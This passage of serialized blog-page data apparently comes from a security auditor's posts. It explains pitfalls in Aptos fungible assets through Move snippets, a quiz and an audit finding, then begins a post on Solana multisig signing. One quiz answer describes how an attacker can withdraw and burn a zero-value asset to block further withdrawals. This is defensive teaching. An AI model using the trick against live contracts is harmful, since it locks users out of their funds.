:23,"tag":75,"props":77774,"children":77775},{"class":77,"line":279},[77776,77780,77784,77788],{"type":23,"tag":75,"props":77777,"children":77778},{"style":88},[77779],{"type":29,"value":77534},{"type":23,"tag":75,"props":77781,"children":77782},{"style":94},[77783],{"type":29,"value":643},{"type":23,"tag":75,"props":77785,"children":77786},{"style":82},[77787],{"type":29,"value":19434},{"type":23,"tag":75,"props":77789,"children":77790},{"style":94},[77791],{"type":29,"value":15099},{"type":23,"tag":75,"props":77793,"children":77794},{"class":77,"line":303},[77795,77799,77803],{"type":23,"tag":75,"props":77796,"children":77797},{"style":94},[77798],{"type":29,"value":73896},{"type":23,"tag":75,"props":77800,"children":77801},{"style":209},[77802],{"type":29,"value":9174},{"type":23,"tag":75,"props":77804,"children":77805},{"style":94},[77806],{"type":29,"value":823},{"type":23,"tag":75,"props":77808,"children":77809},{"class":77,"line":322},[77810,77814,77818,77822],{"type":23,"tag":75,"props":77811,"children":77812},{"style":88},[77813],{"type":29,"value":77569},{"type":23,"tag":75,"props":77815,"children":77816},{"style":94},[77817],{"type":29,"value":643},{"type":23,"tag":75,"props":77819,"children":77820},{"style":82},[77821],{"type":29,"value":15268},{"type":23,"tag":75,"props":77823,"children":77824},{"style":94},[77825],{"type":29,"value":15099},{"type":23,"tag":75,"props":77827,"children":77828},{"class":77,"line":340},[77829,77833,77837,77841,77845,77849,77853,77857,77861,77865],{"type":23,"tag":75,"props":77830,"children":77831},{"style":94},[77832],{"type":29,"value":77137},{"type":23,"tag":75,"props":77834,"children":77835},{"style":209},[77836],{"type":29,"value":1407},{"type":23,"tag":75,"props":77838,"children":77839},{"style":88},[77840],{"type":29,"value":77146},{"type":23,"tag":75,"props":77842,"children":77843},{"style":94},[77844],{"type":29,"value":643},{"type":23,"tag":75,"props":77846,"children":77847},{"style":110},[77848],{"type":29,"value":77155},{"type":23,"tag":75,"props":77850,"children":77851},{"style":94},[77852],{"type":29,"value":611},{"type":23,"tag":75,"props":77854,"children":77855},{"style":110},[77856],{"type":29,"value":2411},{"type":23,"tag":75,"props":77858,"children":77859},{"style":94},[77860],{"type":29,"value":611},{"type":23,"tag":75,"props":77862,"children":77863},{"style":110},[77864],{"type":29,"value":31526},{"type":23,"tag":75,"props":77866,"children":77867},{"style":94},[77868],{"type":29,"value":653},{"type":23,"tag":75,"props":77870,"children":77871},{"class":77,"line":349},[77872],{"type":23,"tag":75,"props":77873,"children":77874},{"style":94},[77875],{"type":29,"value":369},{"type":23,"tag":32,"props":77877,"children":77878},{},[77879],{"type":29,"value":77880},"At first glance, this code appears valid, but not to an astute reader.",{"type":23,"tag":77362,"props":77882,"children":77883},{},[77884,77889],{"type":23,"tag":32,"props":77885,"children":77886},{},[77887],{"type":29,"value":77888},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":23,"tag":77393,"props":77890,"children":77891},{"v-slot:answer-0":7},[77892,77912],{"type":23,"tag":32,"props":77893,"children":77894},{},[77895,77897,77902,77904,77910],{"type":29,"value":77896},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":23,"tag":71,"props":77898,"children":77900},{"className":77899},[],[77901],{"type":29,"value":72692},{"type":29,"value":77903}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":23,"tag":71,"props":77905,"children":77907},{"className":77906},[],[77908],{"type":29,"value":77909},"fungible_asset::destroy_zero",{"type":29,"value":77911},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":23,"tag":32,"props":77913,"children":77914},{},[77915],{"type":29,"value":77916},"It's important to understand all the features in the standard.",{"type":23,"tag":24,"props":77918,"children":77920},{"id":77919},"migrating-from-coins-to-fungible-assets",[77921],{"type":29,"value":77922},"Migrating from coins to fungible assets",{"type":23,"tag":32,"props":77924,"children":77925},{},[77926,77928,77933],{"type":29,"value":77927},"If a fungible asset is considered an upgrade to ",{"type":23,"tag":71,"props":77929,"children":77931},{"className":77930},[],[77932],{"type":29,"value":72147},{"type":29,"value":77934},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":23,"tag":77936,"props":77937,"children":77938},"note",{},[77939],{"type":23,"tag":32,"props":77940,"children":77941},{},[77942,77944,77949,77951,77956],{"type":29,"value":77943},"While the ",{"type":23,"tag":71,"props":77945,"children":77947},{"className":77946},[],[77948],{"type":29,"value":72147},{"type":29,"value":77950}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":23,"tag":71,"props":77952,"children":77954},{"className":77953},[],[77955],{"type":29,"value":72147},{"type":29,"value":557},{"type":23,"tag":32,"props":77958,"children":77959},{},[77960,77961,77967,77969,77974,77976,77981],{"type":29,"value":2846},{"type":23,"tag":71,"props":77962,"children":77964},{"className":77963},[],[77965],{"type":29,"value":77966},"coin_to_fungible_asset",{"type":29,"value":77968}," converting function automatically generates a corresponding fungible asset for a ",{"type":23,"tag":71,"props":77970,"children":77972},{"className":77971},[],[77973],{"type":29,"value":72147},{"type":29,"value":77975}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":23,"tag":71,"props":77977,"children":77979},{"className":77978},[],[77980],{"type":29,"value":72147},{"type":29,"value":77982}," is not allowed.",{"type":23,"tag":64,"props":77984,"children":77986},{"className":987,"code":77985,"language":986,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[77987],{"type":23,"tag":71,"props":77988,"children":77989},{"__ignoreMap":7},[77990,78018,78045,78081,78114,78147,78183],{"type":23,"tag":75,"props":77991,"children":77992},{"class":77,"line":78},[77993,77997,78001,78006,78010,78014],{"type":23,"tag":75,"props":77994,"children":77995},{"style":110},[77996],{"type":29,"value":172},{"type":23,"tag":75,"props":77998,"children":77999},{"style":110},[78000],{"type":29,"value":17474},{"type":23,"tag":75,"props":78002,"children":78003},{"style":110},[78004],{"type":29,"value":78005}," coin_to_fungible_asset",{"type":23,"tag":75,"props":78007,"children":78008},{"style":94},[78009],{"type":29,"value":295},{"type":23,"tag":75,"props":78011,"children":78012},{"style":104},[78013],{"type":29,"value":17849},{"type":23,"tag":75,"props":78015,"children":78016},{"style":94},[78017],{"type":29,"value":1064},{"type":23,"tag":75,"props":78019,"children":78020},{"class":77,"line":100},[78021,78025,78029,78033,78037,78041],{"type":23,"tag":75,"props":78022,"children":78023},{"style":110},[78024],{"type":29,"value":72366},{"type":23,"tag":75,"props":78026,"children":78027},{"style":209},[78028],{"type":29,"value":1018},{"type":23,"tag":75,"props":78030,"children":78031},{"style":104},[78032],{"type":29,"value":17072},{"type":23,"tag":75,"props":78034,"children":78035},{"style":94},[78036],{"type":29,"value":295},{"type":23,"tag":75,"props":78038,"children":78039},{"style":104},[78040],{"type":29,"value":17849},{"type":23,"tag":75,"props":78042,"children":78043},{"style":94},[78044],{"type":29,"value":17260},{"type":23,"tag":75,"props":78046,"children":78047},{"class":77,"line":121},[78048,78052,78056,78060,78064,78069,78073,78077],{"type":23,"tag":75,"props":78049,"children":78050},{"style":94},[78051],{"type":29,"value":1347},{"type":23,"tag":75,"props":78053,"children":78054},{"style":209},[78055],{"type":29,"value":1018},{"type":23,"tag":75,"props":78057,"children":78058},{"style":104},[78059],{"type":29,"value":72721},{"type":23,"tag":75,"props":78061,"children":78062},{"style":110},[78063],{"type":29,"value":18826},{"type":23,"tag":75,"props":78065,"children":78066},{"style":104},[78067],{"type":29,"value":78068}," CoinConversionMap",{"type":23,"tag":75,"props":78070,"children":78071},{"style":94},[78072],{"type":29,"value":611},{"type":23,"tag":75,"props":78074,"children":78075},{"style":104},[78076],{"type":29,"value":17978},{"type":23,"tag":75,"props":78078,"children":78079},{"style":94},[78080],{"type":29,"value":401},{"type":23,"tag":75,"props":78082,"children":78083},{"class":77,"line":138},[78084,78088,78093,78097,78102,78106,78110],{"type":23,"tag":75,"props":78085,"children":78086},{"style":82},[78087],{"type":29,"value":1183},{"type":23,"tag":75,"props":78089,"children":78090},{"style":110},[78091],{"type":29,"value":78092}," metadata",{"type":23,"tag":75,"props":78094,"children":78095},{"style":209},[78096],{"type":29,"value":1193},{"type":23,"tag":75,"props":78098,"children":78099},{"style":110},[78100],{"type":29,"value":78101}," ensure_paired_metadata",{"type":23,"tag":75,"props":78103,"children":78104},{"style":94},[78105],{"type":29,"value":295},{"type":23,"tag":75,"props":78107,"children":78108},{"style":104},[78109],{"type":29,"value":17849},{"type":23,"tag":75,"props":78111,"children":78112},{"style":94},[78113],{"type":29,"value":19710},{"type":23,"tag":75,"props":78115,"children":78116},{"class":77,"line":161},[78117,78121,78126,78130,78135,78139,78143],{"type":23,"tag":75,"props":78118,"children":78119},{"style":82},[78120],{"type":29,"value":1183},{"type":23,"tag":75,"props":78122,"children":78123},{"style":110},[78124],{"type":29,"value":78125}," amount",{"type":23,"tag":75,"props":78127,"children":78128},{"style":209},[78129],{"type":29,"value":1193},{"type":23,"tag":75,"props":78131,"children":78132},{"style":88},[78133],{"type":29,"value":78134}," burn_internal",{"type":23,"tag":75,"props":78136,"children":78137},{"style":94},[78138],{"type":29,"value":643},{"type":23,"tag":75,"props":78140,"children":78141},{"style":110},[78142],{"type":29,"value":72114},{"type":23,"tag":75,"props":78144,"children":78145},{"style":94},[78146],{"type":29,"value":15099},{"type":23,"tag":75,"props":78148,"children":78149},{"class":77,"line":196},[78150,78154,78158,78163,78167,78171,78175,78179],{"type":23,"tag":75,"props":78151,"children":78152},{"style":94},[78153],{"type":29,"value":77137},{"type":23,"tag":75,"props":78155,"children":78156},{"style":209},[78157],{"type":29,"value":1407},{"type":23,"tag":75,"props":78159,"children":78160},{"style":88},[78161],{"type":29,"value":78162},"mint_internal",{"type":23,"tag":75,"props":78164,"children":78165},{"style":94},[78166],{"type":29,"value":643},{"type":23,"tag":75,"props":78168,"children":78169},{"style":110},[78170],{"type":29,"value":73491},{"type":23,"tag":75,"props":78172,"children":78173},{"style":94},[78174],{"type":29,"value":611},{"type":23,"tag":75,"props":78176,"children":78177},{"style":110},[78178],{"type":29,"value":31526},{"type":23,"tag":75,"props":78180,"children":78181},{"style":94},[78182],{"type":29,"value":653},{"type":23,"tag":75,"props":78184,"children":78185},{"class":77,"line":220},[78186],{"type":23,"tag":75,"props":78187,"children":78188},{"style":94},[78189],{"type":29,"value":369},{"type":23,"tag":32,"props":78191,"children":78192},{},[78193,78195,78202],{"type":29,"value":78194},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":23,"tag":940,"props":78196,"children":78199},{"href":78197,"rel":78198},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[944],[78200],{"type":29,"value":78201},"noticed an overlooked detail",{"type":29,"value":78203}," in the linking process.",{"type":23,"tag":64,"props":78205,"children":78207},{"className":987,"code":78206,"language":986,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[78208],{"type":23,"tag":71,"props":78209,"children":78210},{"__ignoreMap":7},[78211,78226,78246,78263,78318,78339,78359,78379,78409,78436,78443],{"type":23,"tag":75,"props":78212,"children":78213},{"class":77,"line":78},[78214,78218,78222],{"type":23,"tag":75,"props":78215,"children":78216},{"style":94},[78217],{"type":29,"value":814},{"type":23,"tag":75,"props":78219,"children":78220},{"style":209},[78221],{"type":29,"value":9174},{"type":23,"tag":75,"props":78223,"children":78224},{"style":94},[78225],{"type":29,"value":823},{"type":23,"tag":75,"props":78227,"children":78228},{"class":77,"line":100},[78229,78233,78237,78242],{"type":23,"tag":75,"props":78230,"children":78231},{"style":94},[78232],{"type":29,"value":73788},{"type":23,"tag":75,"props":78234,"children":78235},{"style":209},[78236],{"type":29,"value":1407},{"type":23,"tag":75,"props":78238,"children":78239},{"style":88},[78240],{"type":29,"value":78241},"create_primary_store_enabled_fungible_asset",{"type":23,"tag":75,"props":78243,"children":78244},{"style":94},[78245],{"type":29,"value":97},{"type":23,"tag":75,"props":78247,"children":78248},{"class":77,"line":121},[78249,78254,78259],{"type":23,"tag":75,"props":78250,"children":78251},{"style":209},[78252],{"type":29,"value":78253},"    &",{"type":23,"tag":75,"props":78255,"children":78256},{"style":110},[78257],{"type":29,"value":78258},"metadata_object_cref",{"type":23,"tag":75,"props":78260,"children":78261},{"style":94},[78262],{"type":29,"value":118},{"type":23,"tag":75,"props":78264,"children":78265},{"class":77,"line":138},[78266,78271,78275,78279,78283,78288,78292,78296,78301,78305,78309,78313],{"type":23,"tag":75,"props":78267,"children":78268},{"style":94},[78269],{"type":29,"value":78270},"    option",{"type":23,"tag":75,"props":78272,"children":78273},{"style":209},[78274],{"type":29,"value":1407},{"type":23,"tag":75,"props":78276,"children":78277},{"style":88},[78278],{"type":29,"value":1847},{"type":23,"tag":75,"props":78280,"children":78281},{"style":94},[78282],{"type":29,"value":643},{"type":23,"tag":75,"props":78284,"children":78285},{"style":110},[78286],{"type":29,"value":78287},"coin_supply",{"type":23,"tag":75,"props":78289,"children":78290},{"style":94},[78291],{"type":29,"value":295},{"type":23,"tag":75,"props":78293,"children":78294},{"style":104},[78295],{"type":29,"value":17849},{"type":23,"tag":75,"props":78297,"children":78298},{"style":94},[78299],{"type":29,"value":78300},">(), ",{"type":23,"tag":75,"props":78302,"children":78303},{"style":209},[78304],{"type":29,"value":21664},{"type":23,"tag":75,"props":78306,"children":78307},{"style":110},[78308],{"type":29,"value":14370},{"type":23,"tag":75,"props":78310,"children":78311},{"style":209},[78312],{"type":29,"value":21664},{"type":23,"tag":75,"props":78314,"children":78315},{"style":94},[78316],{"type":29,"value":78317}," MAX_U128),\n",{"type":23,"tag":75,"props":78319,"children":78320},{"class":77,"line":161},[78321,78326,78330,78334],{"type":23,"tag":75,"props":78322,"children":78323},{"style":110},[78324],{"type":29,"value":78325},"    name",{"type":23,"tag":75,"props":78327,"children":78328},{"style":94},[78329],{"type":29,"value":295},{"type":23,"tag":75,"props":78331,"children":78332},{"style":104},[78333],{"type":29,"value":17849},{"type":23,"tag":75,"props":78335,"children":78336},{"style":94},[78337],{"type":29,"value":78338},">(),\n",{"type":23,"tag":75,"props":78340,"children":78341},{"class":77,"line":196},[78342,78347,78351,78355],{"type":23,"tag":75,"props":78343,"children":78344},{"style":110},[78345],{"type":29,"value":78346},"    symbol",{"type":23,"tag":75,"props":78348,"children":78349},{"style":94},[78350],{"type":29,"value":295},{"type":23,"tag":75,"props":78352,"children":78353},{"style":104},[78354],{"type":29,"value":17849},{"type":23,"tag":75,"props":78356,"children":78357},{"style":94},[78358],{"type":29,"value":78338},{"type":23,"tag":75,"props":78360,"children":78361},{"class":77,"line":220},[78362,78367,78371,78375],{"type":23,"tag":75,"props":78363,"children":78364},{"style":110},[78365],{"type":29,"value":78366},"    decimals",{"type":23,"tag":75,"props":78368,"children":78369},{"style":94},[78370],{"type":29,"value":295},{"type":23,"tag":75,"props":78372,"children":78373},{"style":104},[78374],{"type":29,"value":17849},{"type":23,"tag":75,"props":78376,"children":78377},{"style":94},[78378],{"type":29,"value":78338},{"type":23,"tag":75,"props":78380,"children":78381},{"class":77,"line":248},[78382,78387,78391,78396,78400,78405],{"type":23,"tag":75,"props":78383,"children":78384},{"style":94},[78385],{"type":29,"value":78386},"    string",{"type":23,"tag":75,"props":78388,"children":78389},{"style":209},[78390],{"type":29,"value":1407},{"type":23,"tag":75,"props":78392,"children":78393},{"style":88},[78394],{"type":29,"value":78395},"utf8",{"type":23,"tag":75,"props":78397,"children":78398},{"style":94},[78399],{"type":29,"value":643},{"type":23,"tag":75,"props":78401,"children":78402},{"style":1266},[78403],{"type":29,"value":78404},"b\"\"",{"type":23,"tag":75,"props":78406,"children":78407},{"style":94},[78408],{"type":29,"value":1792},{"type":23,"tag":75,"props":78410,"children":78411},{"class":77,"line":270},[78412,78416,78420,78424,78428,78432],{"type":23,"tag":75,"props":78413,"children":78414},{"style":94},[78415],{"type":29,"value":78386},{"type":23,"tag":75,"props":78417,"children":78418},{"style":209},[78419],{"type":29,"value":1407},{"type":23,"tag":75,"props":78421,"children":78422},{"style":88},[78423],{"type":29,"value":78395},{"type":23,"tag":75,"props":78425,"children":78426},{"style":94},[78427],{"type":29,"value":643},{"type":23,"tag":75,"props":78429,"children":78430},{"style":1266},[78431],{"type":29,"value":78404},{"type":23,"tag":75,"props":78433,"children":78434},{"style":94},[78435],{"type":29,"value":1792},{"type":23,"tag":75,"props":78437,"children":78438},{"class":77,"line":279},[78439],{"type":23,"tag":75,"props":78440,"children":78441},{"style":94},[78442],{"type":29,"value":15099},{"type":23,"tag":75,"props":78444,"children":78445},{"class":77,"line":303},[78446,78450,78454],{"type":23,"tag":75,"props":78447,"children":78448},{"style":94},[78449],{"type":29,"value":814},{"type":23,"tag":75,"props":78451,"children":78452},{"style":209},[78453],{"type":29,"value":9174},{"type":23,"tag":75,"props":78455,"children":78456},{"style":94},[78457],{"type":29,"value":823},{"type":23,"tag":32,"props":78459,"children":78460},{},[78461,78463,78468],{"type":29,"value":78462},"When the linked fungible asset was created, the current ",{"type":23,"tag":71,"props":78464,"children":78466},{"className":78465},[],[78467],{"type":29,"value":72147},{"type":29,"value":78469}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":23,"tag":32,"props":78471,"children":78472},{},[78473,78475,78480,78482,78488,78490,78495],{"type":29,"value":78474},"Users can manually migrate their ",{"type":23,"tag":71,"props":78476,"children":78478},{"className":78477},[],[78479],{"type":29,"value":72309},{"type":29,"value":78481}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":23,"tag":71,"props":78483,"children":78485},{"className":78484},[],[78486],{"type":29,"value":78487},"\u003CCoinStore\u003CCoinType>>",{"type":29,"value":78489}," from the caller. All coins in the ",{"type":23,"tag":71,"props":78491,"children":78493},{"className":78492},[],[78494],{"type":29,"value":72309},{"type":29,"value":78496}," are exchanged and transferred to the new store during the migration.",{"type":23,"tag":64,"props":78498,"children":78500},{"className":987,"code":78499,"language":986,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[78501],{"type":23,"tag":71,"props":78502,"children":78503},{"__ignoreMap":7},[78504,78512,78544,78564,78600,78641],{"type":23,"tag":75,"props":78505,"children":78506},{"class":77,"line":78},[78507],{"type":23,"tag":75,"props":78508,"children":78509},{"style":3621},[78510],{"type":29,"value":78511},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":23,"tag":75,"props":78513,"children":78514},{"class":77,"line":100},[78515,78519,78523,78527,78532,78536,78540],{"type":23,"tag":75,"props":78516,"children":78517},{"style":110},[78518],{"type":29,"value":172},{"type":23,"tag":75,"props":78520,"children":78521},{"style":110},[78522],{"type":29,"value":13399},{"type":23,"tag":75,"props":78524,"children":78525},{"style":110},[78526],{"type":29,"value":17474},{"type":23,"tag":75,"props":78528,"children":78529},{"style":110},[78530],{"type":29,"value":78531}," migrate_to_fungible_store",{"type":23,"tag":75,"props":78533,"children":78534},{"style":94},[78535],{"type":29,"value":295},{"type":23,"tag":75,"props":78537,"children":78538},{"style":104},[78539],{"type":29,"value":17849},{"type":23,"tag":75,"props":78541,"children":78542},{"style":94},[78543],{"type":29,"value":1064},{"type":23,"tag":75,"props":78545,"children":78546},{"class":77,"line":121},[78547,78551,78555,78559],{"type":23,"tag":75,"props":78548,"children":78549},{"style":110},[78550],{"type":29,"value":36375},{"type":23,"tag":75,"props":78552,"children":78553},{"style":209},[78554],{"type":29,"value":1018},{"type":23,"tag":75,"props":78556,"children":78557},{"style":209},[78558],{"type":29,"value":844},{"type":23,"tag":75,"props":78560,"children":78561},{"style":110},[78562],{"type":29,"value":78563},"signer\n",{"type":23,"tag":75,"props":78565,"children":78566},{"class":77,"line":138},[78567,78571,78575,78579,78583,78588,78592,78596],{"type":23,"tag":75,"props":78568,"children":78569},{"style":94},[78570],{"type":29,"value":167},{"type":23,"tag":75,"props":78572,"children":78573},{"style":110},[78574],{"type":29,"value":17611},{"type":23,"tag":75,"props":78576,"children":78577},{"style":104},[78578],{"type":29,"value":72330},{"type":23,"tag":75,"props":78580,"children":78581},{"style":94},[78582],{"type":29,"value":611},{"type":23,"tag":75,"props":78584,"children":78585},{"style":104},[78586],{"type":29,"value":78587},"CoinConversionMap",{"type":23,"tag":75,"props":78589,"children":78590},{"style":94},[78591],{"type":29,"value":611},{"type":23,"tag":75,"props":78593,"children":78594},{"style":104},[78595],{"type":29,"value":17978},{"type":23,"tag":75,"props":78597,"children":78598},{"style":94},[78599],{"type":29,"value":401},{"type":23,"tag":75,"props":78601,"children":78602},{"class":77,"line":161},[78603,78608,78612,78616,78621,78625,78629,78633,78637],{"type":23,"tag":75,"props":78604,"children":78605},{"style":110},[78606],{"type":29,"value":78607},"    maybe_convert_to_fungible_store",{"type":23,"tag":75,"props":78609,"children":78610},{"style":94},[78611],{"type":29,"value":295},{"type":23,"tag":75,"props":78613,"children":78614},{"style":104},[78615],{"type":29,"value":17849},{"type":23,"tag":75,"props":78617,"children":78618},{"style":94},[78619],{"type":29,"value":78620},">(signer",{"type":23,"tag":75,"props":78622,"children":78623},{"style":209},[78624],{"type":29,"value":1407},{"type":23,"tag":75,"props":78626,"children":78627},{"style":88},[78628],{"type":29,"value":18471},{"type":23,"tag":75,"props":78630,"children":78631},{"style":94},[78632],{"type":29,"value":643},{"type":23,"tag":75,"props":78634,"children":78635},{"style":110},[78636],{"type":29,"value":24196},{"type":23,"tag":75,"props":78638,"children":78639},{"style":94},[78640],{"type":29,"value":18485},{"type":23,"tag":75,"props":78642,"children":78643},{"class":77,"line":196},[78644],{"type":23,"tag":75,"props":78645,"children":78646},{"style":94},[78647],{"type":29,"value":369},{"type":23,"tag":32,"props":78649,"children":78650},{},[78651,78653,78658,78660,78665],{"type":29,"value":78652},"A curious reader might wonder about the fate of the ",{"type":23,"tag":71,"props":78654,"children":78656},{"className":78655},[],[78657],{"type":29,"value":72309},{"type":29,"value":78659}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":23,"tag":71,"props":78661,"children":78663},{"className":78662},[],[78664],{"type":29,"value":72309},{"type":29,"value":78666}," to ensure consistency.",{"type":23,"tag":77362,"props":78668,"children":78669},{},[78670,78689],{"type":23,"tag":32,"props":78671,"children":78672},{},[78673,78675,78680,78682,78687],{"type":29,"value":78674},"Could an attacker convert their ",{"type":23,"tag":71,"props":78676,"children":78678},{"className":78677},[],[78679],{"type":29,"value":72309},{"type":29,"value":78681}," to a primary fungible store and then register another ",{"type":23,"tag":71,"props":78683,"children":78685},{"className":78684},[],[78686],{"type":29,"value":72309},{"type":29,"value":78688}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":23,"tag":77393,"props":78690,"children":78691},{"v-slot:answer-0":7},[78692],{"type":23,"tag":32,"props":78693,"children":78694},{},[78695],{"type":29,"value":78696},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":23,"tag":24,"props":78698,"children":78699},{"id":14115},[78700],{"type":29,"value":14118},{"type":23,"tag":32,"props":78702,"children":78703},{},[78704,78706,78711],{"type":29,"value":78705},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":23,"tag":71,"props":78707,"children":78709},{"className":78708},[],[78710],{"type":29,"value":72147},{"type":29,"value":557},{"type":23,"tag":32,"props":78713,"children":78714},{},[78715],{"type":29,"value":78716},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":23,"tag":32,"props":78718,"children":78719},{},[78720,78722],{"type":29,"value":78721},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":23,"tag":26701,"props":78723,"children":78724},{},[78725],{"type":23,"tag":940,"props":78726,"children":78728},{"href":40820,"ariaDescribedBy":78727,"dataFootnoteRef":7,"id":40822},[26708],[78729],{"type":29,"value":7867},{"type":23,"tag":29644,"props":78731,"children":78733},{"className":78732,"dataFootnotes":7},[29647],[78734,78739],{"type":23,"tag":24,"props":78735,"children":78737},{"className":78736,"id":26708},[29652],[78738],{"type":29,"value":29655},{"type":23,"tag":2797,"props":78740,"children":78741},{},[78742],{"type":23,"tag":2801,"props":78743,"children":78744},{"id":41561},[78745,78747,78789],{"type":29,"value":78746},"There are at least four functions that can withdraw a fungible asset:",{"type":23,"tag":27910,"props":78748,"children":78749},{},[78750,78760,78769,78779],{"type":23,"tag":2801,"props":78751,"children":78752},{},[78753],{"type":23,"tag":940,"props":78754,"children":78758},{"href":78755,"rel":78756,":style":78757},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[944],"color: #007bff;",[78759],{"type":29,"value":75445},{"type":23,"tag":2801,"props":78761,"children":78762},{},[78763],{"type":23,"tag":940,"props":78764,"children":78767},{"href":78765,"rel":78766,":style":78757},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[944],[78768],{"type":29,"value":77383},{"type":23,"tag":2801,"props":78770,"children":78771},{},[78772],{"type":23,"tag":940,"props":78773,"children":78776},{"href":78774,"rel":78775,":style":78757},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[944],[78777],{"type":29,"value":78778},"primary_fungible_store::withdraw",{"type":23,"tag":2801,"props":78780,"children":78781},{},[78782],{"type":23,"tag":940,"props":78783,"children":78786},{"href":78784,"rel":78785,":style":78757},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[944],[78787],{"type":29,"value":78788},"coin::withdraw",{"type":23,"tag":940,"props":78790,"children":78792},{"href":41589,"ariaLabel":29758,"className":78791,"dataFootnoteBackref":7},[29760],[78793],{"type":29,"value":29763},{"type":23,"tag":14130,"props":78795,"children":78796},{},[78797],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":78799},[78800,78801,78802,78805,78810,78811,78812,78813],{"id":72133,"depth":100,"text":72136},{"id":72678,"depth":100,"text":72681},{"id":73236,"depth":100,"text":73239,"children":78803},[78804],{"id":73747,"depth":121,"text":73750},{"id":74003,"depth":100,"text":74006,"children":78806},[78807,78808,78809],{"id":74046,"depth":121,"text":74049},{"id":74751,"depth":121,"text":74754},{"id":76407,"depth":121,"text":76410},{"id":76938,"depth":100,"text":76941},{"id":77919,"depth":100,"text":77922},{"id":14115,"depth":100,"text":14118},{"id":26708,"depth":100,"text":29655},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":78818,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":78819,"description":78820,"date":78821,"author":16991,"image":78822,"isFeatured":15,"onBlogPage":15,"tags":78824,"body":78825,"_type":14157,"_id":80649,"_source":14159,"_file":80650,"_stem":80651,"_extension":14162},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":78823,"width":16657,"height":16658},"/posts/multisig-security/title.png",[14174],{"type":20,"children":78826,"toc":80640},[78827,78840,78846,78851,78857,78870,78878,78891,78951,78973,79100,79105,79118,79130,79136,79150,79163,79177,79655,79660,79668,79682,79696,79835,79847,79853,79858,79876,79881,79886,79907,80191,80206,80394,80407,80536,80541,80546,80551,80579,80585,80590,80604,80636],{"type":23,"tag":32,"props":78828,"children":78829},{},[78830,78831,78838],{"type":29,"value":2846},{"type":23,"tag":940,"props":78832,"children":78835},{"href":78833,"rel":78834},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[944],[78836],{"type":29,"value":78837},"Bybit hack",{"type":29,"value":78839}," raises an interesting question: what can teams do if their signers are compromised?",{"type":23,"tag":24,"props":78841,"children":78843},{"id":78842},"solana-signatures",[78844],{"type":29,"value":78845},"Solana Signatures",{"type":23,"tag":32,"props":78847,"children":78848},{},[78849],{"type":29,"value":78850},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":23,"tag":923,"props":78852,"children":78854},{"id":78853},"recent-blockhash",[78855],{"type":29,"value":78856},"Recent Blockhash",{"type":23,"tag":32,"props":78858,"children":78859},{},[78860,78862,78869],{"type":29,"value":78861},"The most straightforward is with a \"recent blockhash\". From 